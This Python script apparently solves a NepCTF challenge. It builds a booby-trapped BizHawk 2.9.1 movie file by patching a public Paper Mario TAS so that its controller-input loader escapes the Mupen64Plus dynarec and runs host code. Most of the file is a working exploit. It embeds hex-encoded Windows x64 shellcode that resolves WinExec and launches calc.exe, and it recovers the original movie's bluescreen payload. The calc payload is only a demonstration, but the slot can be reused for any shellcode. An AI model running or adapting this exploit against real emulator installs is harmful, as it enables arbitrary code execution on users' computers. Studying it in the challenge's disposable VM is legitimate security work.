#!/usr/bin/env python3
"""Patch the public Paper Mario "bluescreen%" movie to launch calc.exe.

This is a static builder for the NepCTF TAS challenge.  It does not execute the
movie or its host payload.  The generated BK2 is intentionally unsafe input for
BizHawk 2.9.1's vulnerable Mupen64Plus core; only test it in the disposable
Windows VM supplied by the challenge.
"""

from __future__ import annotations

import argparse
import copy
import hashlib
import io
from pathlib import Path
import sys
import urllib.request
import zipfile


SUBMISSION_URL = "https://tasvideos.org/8982S?handler=Download"
SUBMISSION_SHA256 = "90fc8633f441af41741ac33d549b981b40dd22641b2c1e9df8f794a4f1c2f218"
SOURCE_BK2_SHA256 = "a446baef914426842940c5a8dbc568a6bd231e410982c6c3fbe8b4acfd679cad"
SOURCE_STAGE_SHA256 = "a593e1bfa53d2dd08dd8a95b56239baf5ea3a2d40fcd8e7d0d4580bc382be0b6"
PATCHED_STAGE_SHA256 = "85041c5508fc038e9ec1ab2a6402d42dda54c1383ee51a687c3d6b54aeb56cfc"

EXPECTED_ROM_SHA1 = "B9CCA3FF260B9FF427D981626B82F96DE73586D3"
EXPECTED_EMULATOR = "Version 2.9.1"
EXPECTED_CORE = "Mupen64Plus"

# Movie frames are numbered from 1 here, as in the TASVideos submission.
FIRST_STAGE_FRAME = 55_294
STAGE_FRAME_COUNT = 51
TERMINATOR_FRAME = FIRST_STAGE_FRAME + STAGE_FRAME_COUNT
STAGE_SIZE = STAGE_FRAME_COUNT * 12

# The original MIPS stage decrypts 24 qwords at 0x140..0x1ff.  Its dynarec
# writer consumes 188 bytes at 0x140..0x1fb in ascending guest order while
# filling host code_length from 187 down to 0, so the resulting x64 host buffer
# is the REVERSE of the guest bytes.  Before that loop, 0x140..0x147 is
# overwritten with a leaked DLL pointer and becomes the final eight (unused)
# host bytes.  This leaves 180 controllable bytes at 0x148..0x1fb.
DECRYPT_LOOP_OFFSET = 0x78
DECRYPT_LOOP_ORIGINAL = bytes.fromhex(
    "0293001c"  # dmult s4,s3
    "0000a012"  # mflo s4
    "df08bf88"  # ld t0,-0x4078(t8)
    "01144026"  # xor t0,t0,s4
    "ff08bf88"  # sd t0,-0x4078(t8)
    "1710fffa"  # bne t8,s0,loop
    "27180008"  # addiu t8,t8,8 (branch delay slot)
)
HOST_SCRATCH_OFFSET = 0x140
HOST_SCRATCH_SIZE = 8
HOST_PAYLOAD_STAGE_OFFSET = 0x148
HOST_PAYLOAD_CAPACITY = 180
HOST_COPY_SIZE = 188
HOST_UNCOPIED_TAIL_OFFSET = 0x1FC
ORIGINAL_SCRATCH_MAGIC = b"HIMITSU!"
ORIGINAL_UNCOPIED_TAIL = bytes.fromhex("2ed763b3")
ORIGINAL_XOR_SEED = 0x2ED763B30C0D4DAB
ORIGINAL_XOR_MULTIPLIER = 0x6E463
ORIGINAL_HOST_PAYLOAD_SHA256 = "7e6be1484c6abe9db5bc6e253a1e6da1e62c99def9419944111a28d8548f7833"

# 129-byte, relocation-free Windows x64 shellcode assembled from
# payload_calc_x64.s.  It walks PEB->Ldr, scans loaded modules for the real
# WinExec export, and invokes WinExec("calc.exe", 1).
CALC_SHELLCODE = bytes.fromhex(
    "31c965488b4160488b40184c8b50204d8b12498b5a208b533c4801da8b92"
    "8800000085d274e94801da8b4a188b7a204801df49b857696e4578656300"
    "e3d1ffc98b348f4801de4c390675f18b7a244801df0fb70c4f8b7a1c4801"
    "df8b048f4801d86a0049b963616c632e65786541514889e16a015a4883e4"
    "f04883ec20ffd0ebfe"
)
CALC_SHELLCODE_SHA256 = "6ecd14f1d6d72f01bea575f59b0f71c6ba34f984abf988cbd39f98e6a4f36433"

# Text-log button positions -> N64 controller bit positions.
LOW_BUTTONS = (
    (4, 3, "U"),   # DPad U
    (5, 2, "D"),
    (6, 1, "L"),
    (7, 0, "R"),
    (8, 4, "S"),
    (9, 5, "Z"),
    (10, 6, "B"),
    (11, 7, "A"),
)
HIGH_BUTTONS = (
    (12, 3),  # C Up
    (13, 2),  # C Down
    (14, 0),  # C Right
    (15, 1),  # C Left
    (16, 5),  # L
    (17, 4),  # R
)

# For each of the 12 bytes emitted by the in-ROM loader, identify
# (controller index, byte index) in [button_lo, button_hi, X, Y].
STAGE_BYTE_SOURCES = (
    (3, 2), (3, 3), (1, 2), (1, 3),
    (2, 0), (1, 0), (2, 2), (2, 3),
    (0, 0), (3, 0), (0, 2), (0, 3),
)


class MovieError(RuntimeError):
    pass


def sha256(data: bytes) -> str:
    return hashlib.sha256(data).hexdigest()


def signed_byte(value: int) -> int:
    return value if value < 0x80 else value - 0x100


def read_source(path: Path | None) -> bytes:
    if path is not None:
        return path.read_bytes()

    request = urllib.request.Request(
        SUBMISSION_URL,
        headers={"User-Agent": "NepCTF-static-TAS-builder/1.0"},
    )
    print(f"Downloading the public source movie from {SUBMISSION_URL}", file=sys.stderr)
    with urllib.request.urlopen(request, timeout=30) as response:
        blob = response.read()
    if sha256(blob) != SUBMISSION_SHA256:
        raise MovieError(
            "the TASVideos submission archive changed: "
            f"expected {SUBMISSION_SHA256}, got {sha256(blob)}"
        )
    return blob


def unwrap_bk2(blob: bytes) -> bytes:
    """Accept either bluescreen.bk2 itself or its one-file submission ZIP."""
    try:
        with zipfile.ZipFile(io.BytesIO(blob)) as archive:
            names = archive.namelist()
            if "Input Log.txt" in names and "Header.txt" in names:
                bk2 = blob
            else:
                candidates = [name for name in names if name.lower().endswith(".bk2")]
                if len(candidates) != 1:
                    raise MovieError(f"expected one BK2 in source archive, found {candidates!r}")
                bk2 = archive.read(candidates[0])
    except zipfile.BadZipFile as exc:
        raise MovieError("source is not a BK2 or ZIP archive") from exc

    digest = sha256(bk2)
    if digest != SOURCE_BK2_SHA256:
        raise MovieError(
            "refusing to patch an unknown movie: "
            f"expected BK2 SHA-256 {SOURCE_BK2_SHA256}, got {digest}"
        )
    return bk2


def archive_entries(bk2: bytes) -> tuple[list[zipfile.ZipInfo], dict[str, bytes], bytes]:
    with zipfile.ZipFile(io.BytesIO(bk2)) as archive:
        infos = [copy.copy(info) for info in archive.infolist()]
        files = {info.filename: archive.read(info) for info in archive.infolist()}
        comment = archive.comment
    required = {"Header.txt", "SyncSettings.json", "Input Log.txt"}
    if not required.issubset(files):
        raise MovieError(f"BK2 is missing entries: {sorted(required - files.keys())}")
    return infos, files, comment


def check_header(header: bytes) -> None:
    text = header.decode("utf-8-sig")
    expected = (
        f"SHA1 {EXPECTED_ROM_SHA1}",
        f"emuVersion {EXPECTED_EMULATOR}",
        f"Core {EXPECTED_CORE}",
        "GameName Mario Story (Japan)",
    )
    missing = [line for line in expected if line not in text]
    if missing:
        raise MovieError(f"unexpected BK2 header; missing {missing!r}")


def split_input_log(data: bytes) -> list[str]:
    text = data.decode("utf-8-sig")
    lines = text.splitlines(keepends=True)
    if len(lines) < 4 or lines[0].strip() != "[Input]" or lines[-1].strip() != "[/Input]":
        raise MovieError("unrecognized Input Log.txt framing")
    frame_count = len(lines) - 3
    if frame_count != 55_345:
        raise MovieError(f"expected 55,345 movie frames, found {frame_count:,}")
    return lines


def parse_controller(segment: str) -> bytearray:
    fields = segment.split(",", 2)
    if len(fields) != 3:
        raise MovieError(f"bad controller segment: {segment!r}")
    x, y = int(fields[0]), int(fields[1])
    flags = fields[2]
    if len(flags) != 18 or not (-128 <= x <= 127 and -128 <= y <= 127):
        raise MovieError(f"bad controller values: {segment!r}")

    lo = sum(1 << bit for pos, bit, _ in LOW_BUTTONS if flags[pos] != ".")
    hi = sum(1 << bit for pos, bit in HIGH_BUTTONS if flags[pos] != ".")
    return bytearray((lo, hi, x & 0xFF, y & 0xFF))


def format_controller(original: str, raw: bytearray) -> str:
    fields = original.split(",", 2)
    flags = list(fields[2])
    if any(flags[pos] != "." for pos in range(4)):
        raise MovieError("stage unexpectedly uses virtual analog-direction buttons")

    old = parse_controller(original)
    if raw[1] != old[1]:
        raise MovieError("attempted to change the loader's P4 marker/high button byte")
    for pos, bit, mnemonic in LOW_BUTTONS:
        flags[pos] = mnemonic if raw[0] & (1 << bit) else "."
    return f"{signed_byte(raw[2]):5d},{signed_byte(raw[3]):5d},{''.join(flags)}"


def parse_frame(line: str) -> list[bytearray]:
    body = line.rstrip("\r\n")
    parts = body.split("|")
    if len(parts) != 7 or parts[0] or parts[1] != ".." or parts[-1]:
        raise MovieError(f"unrecognized frame line: {body!r}")
    return [parse_controller(segment) for segment in parts[2:6]]


def replace_frame(line: str, controllers: list[bytearray]) -> str:
    ending = line[len(line.rstrip("\r\n")):]
    body = line.rstrip("\r\n")
    parts = body.split("|")
    for index, raw in enumerate(controllers):
        parts[index + 2] = format_controller(parts[index + 2], raw)
    result = "|".join(parts) + ending
    if len(result.rstrip("\r\n")) != 128:
        raise MovieError("rewritten BK2 frame changed fixed-width line length")
    return result


def frame_line_index(one_based_frame: int) -> int:
    # [Input] and LogKey occupy the first two lines.
    return one_based_frame + 1


def decode_stage(lines: list[str]) -> tuple[bytes, list[int]]:
    stage = bytearray()
    markers: list[int] = []
    for frame in range(FIRST_STAGE_FRAME, FIRST_STAGE_FRAME + STAGE_FRAME_COUNT):
        controllers = parse_frame(lines[frame_line_index(frame)])
        stage.extend(controllers[controller][byte] for controller, byte in STAGE_BYTE_SOURCES)
        markers.append(controllers[3][1])
    return bytes(stage), markers


def encode_stage(lines: list[str], stage: bytes) -> None:
    if len(stage) != STAGE_SIZE:
        raise MovieError(f"stage must be exactly {STAGE_SIZE} bytes")
    for index in range(STAGE_FRAME_COUNT):
        line_index = frame_line_index(FIRST_STAGE_FRAME + index)
        controllers = parse_frame(lines[line_index])
        chunk = stage[index * 12:(index + 1) * 12]
        for value, (controller, byte) in zip(chunk, STAGE_BYTE_SOURCES):
            controllers[controller][byte] = value
        lines[line_index] = replace_frame(lines[line_index], controllers)


def recover_original_host_payload(source_stage: bytes) -> bytes:
    """Undo the source movie's qword XOR and dynarec byte reversal."""
    decrypted = bytearray(source_stage)
    key = ORIGINAL_XOR_SEED
    for offset in range(HOST_SCRATCH_OFFSET, 0x200, 8):
        key = (key * ORIGINAL_XOR_MULTIPLIER) & 0xFFFFFFFFFFFFFFFF
        ciphertext = int.from_bytes(decrypted[offset:offset + 8], "big")
        decrypted[offset:offset + 8] = (ciphertext ^ key).to_bytes(8, "big")
    payload = bytes(reversed(decrypted[
        HOST_SCRATCH_OFFSET:HOST_SCRATCH_OFFSET + HOST_COPY_SIZE
    ]))
    if sha256(payload) != ORIGINAL_HOST_PAYLOAD_SHA256:
        raise MovieError("could not reproduce the original reversed host payload")
    if b"RtlAdjustPrivilege\0" not in payload or b"NtRaiseHardError\0" not in payload:
        raise MovieError("original host-payload API names were not recovered")
    return payload


def patched_stage(source_stage: bytes) -> bytes:
    if len(source_stage) != STAGE_SIZE or sha256(source_stage) != SOURCE_STAGE_SHA256:
        raise MovieError(
            "decoded source stage does not match the known movie: "
            f"SHA-256 {sha256(source_stage)}"
        )
    if source_stage[
        DECRYPT_LOOP_OFFSET:DECRYPT_LOOP_OFFSET + len(DECRYPT_LOOP_ORIGINAL)
    ] != DECRYPT_LOOP_ORIGINAL:
        raise MovieError("MIPS decrypt loop did not match expected instructions")
    recover_original_host_payload(source_stage)
    if len(CALC_SHELLCODE) > HOST_PAYLOAD_CAPACITY:
        raise MovieError("calc shellcode does not fit the host copy")
    if sha256(CALC_SHELLCODE) != CALC_SHELLCODE_SHA256:
        raise MovieError("embedded calc shellcode hash mismatch")

    result = bytearray(source_stage)
    result[
        DECRYPT_LOOP_OFFSET:DECRYPT_LOOP_OFFSET + len(DECRYPT_LOOP_ORIGINAL)
    ] = b"\0" * len(DECRYPT_LOOP_ORIGINAL)
    host_code = CALC_SHELLCODE + b"\x90" * (HOST_PAYLOAD_CAPACITY - len(CALC_SHELLCODE))
    result[
        HOST_PAYLOAD_STAGE_OFFSET:HOST_PAYLOAD_STAGE_OFFSET + HOST_PAYLOAD_CAPACITY
    ] = reversed(host_code)
    result = bytes(result)
    if sha256(result) != PATCHED_STAGE_SHA256:
        raise MovieError("internal patched-stage hash mismatch")
    return result


def validate_loader(lines: list[str], expected_stage: bytes) -> None:
    actual_stage, markers = decode_stage(lines)
    if actual_stage != expected_stage:
        raise MovieError("controller encoding did not reproduce the desired stage")
    expected_markers = [3 if index % 2 == 0 else 2 for index in range(STAGE_FRAME_COUNT)]
    if markers != expected_markers:
        raise MovieError(f"unexpected loader marker sequence: {markers!r}")

    terminator = parse_frame(lines[frame_line_index(TERMINATOR_FRAME)])
    terminator_bytes = bytes(
        terminator[controller][byte] for controller, byte in STAGE_BYTE_SOURCES
    )
    if terminator[3][1] != 0 or terminator_bytes != b"\0" * 12:
        raise MovieError("neutral terminating frame was changed")


def build_movie(source_bk2: bytes) -> tuple[bytes, dict[str, str | int]]:
    infos, files, comment = archive_entries(source_bk2)
    check_header(files["Header.txt"])
    lines = split_input_log(files["Input Log.txt"])
    original_stage, markers = decode_stage(lines)
    if markers != [3 if i % 2 == 0 else 2 for i in range(STAGE_FRAME_COUNT)]:
        raise MovieError("source movie has an unexpected final-stage marker sequence")
    replacement = patched_stage(original_stage)
    original_lines = list(lines)
    encode_stage(lines, replacement)
    validate_loader(lines, replacement)

    changed_frames = sum(
        original_lines[frame_line_index(frame)] != lines[frame_line_index(frame)]
        for frame in range(FIRST_STAGE_FRAME, FIRST_STAGE_FRAME + STAGE_FRAME_COUNT)
    )
    files["Input Log.txt"] = "".join(lines).encode("utf-8")

    output = io.BytesIO()
    with zipfile.ZipFile(output, "w", compression=zipfile.ZIP_DEFLATED, compresslevel=9) as archive:
        archive.comment = comment
        for info in infos:
            archive.writestr(info, files[info.filename])
    movie = output.getvalue()
    validate_movie(movie)
    return movie, {
        "source_stage_sha256": sha256(original_stage),
        "original_host_payload_sha256": sha256(recover_original_host_payload(original_stage)),
        "patched_stage_sha256": sha256(replacement),
        "shellcode_sha256": sha256(CALC_SHELLCODE),
        "changed_frames": changed_frames,
        "output_sha256": sha256(movie),
    }


def validate_movie(movie: bytes) -> dict[str, str | int]:
    _, files, _ = archive_entries(movie)
    check_header(files["Header.txt"])
    lines = split_input_log(files["Input Log.txt"])
    stage, _ = decode_stage(lines)
    if sha256(stage) != PATCHED_STAGE_SHA256:
        raise MovieError(
            "generated movie has an unexpected final-stage hash: "
            f"{sha256(stage)}"
        )

    loop = stage[DECRYPT_LOOP_OFFSET:DECRYPT_LOOP_OFFSET + len(DECRYPT_LOOP_ORIGINAL)]
    if loop != b"\0" * len(DECRYPT_LOOP_ORIGINAL):
        raise MovieError("generated movie does not contain the NOPed MIPS decrypt loop")
    if stage[HOST_SCRATCH_OFFSET:HOST_SCRATCH_OFFSET + HOST_SCRATCH_SIZE] != ORIGINAL_SCRATCH_MAGIC:
        raise MovieError("generated movie changed the runtime pointer-scratch bytes")
    if stage[HOST_UNCOPIED_TAIL_OFFSET:HOST_UNCOPIED_TAIL_OFFSET + 4] != ORIGINAL_UNCOPIED_TAIL:
        raise MovieError("generated movie changed the uncopied key tail")
    host_code = bytes(reversed(stage[
        HOST_PAYLOAD_STAGE_OFFSET:HOST_PAYLOAD_STAGE_OFFSET + HOST_PAYLOAD_CAPACITY
    ]))
    if not host_code.startswith(CALC_SHELLCODE):
        raise MovieError("generated movie does not contain the calc shellcode")
    if host_code[len(CALC_SHELLCODE):] != b"\x90" * (
        HOST_PAYLOAD_CAPACITY - len(CALC_SHELLCODE)
    ):
        raise MovieError("generated movie has unexpected host-payload padding")
    validate_loader(lines, stage)
    return {
        "movie_sha256": sha256(movie),
        "stage_sha256": sha256(stage),
        "shellcode_sha256": sha256(CALC_SHELLCODE),
        "frames": len(lines) - 3,
    }


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument(
        "--source",
        type=Path,
        help="bluescreen.bk2 or the downloaded submission ZIP (downloads it if omitted)",
    )
    parser.add_argument("--output", type=Path, default=Path("calc.bk2"))
    parser.add_argument(
        "--verify-only",
        type=Path,
        metavar="BK2",
        help="statically verify an already generated calc BK2 and exit",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    try:
        if args.verify_only is not None:
            report = validate_movie(args.verify_only.read_bytes())
            print(f"Static verification passed: {args.verify_only}")
        else:
            source = unwrap_bk2(read_source(args.source))
            movie, report = build_movie(source)
            args.output.write_bytes(movie)
            print(f"Wrote {args.output} ({len(movie):,} bytes)")
        for key, value in report.items():
            print(f"{key}: {value}")
    except (MovieError, OSError, urllib.error.URLError) as exc:
        print(f"error: {exc}", file=sys.stderr)
        return 1
    return 0


if __name__ == "__main__":
    raise SystemExit(main())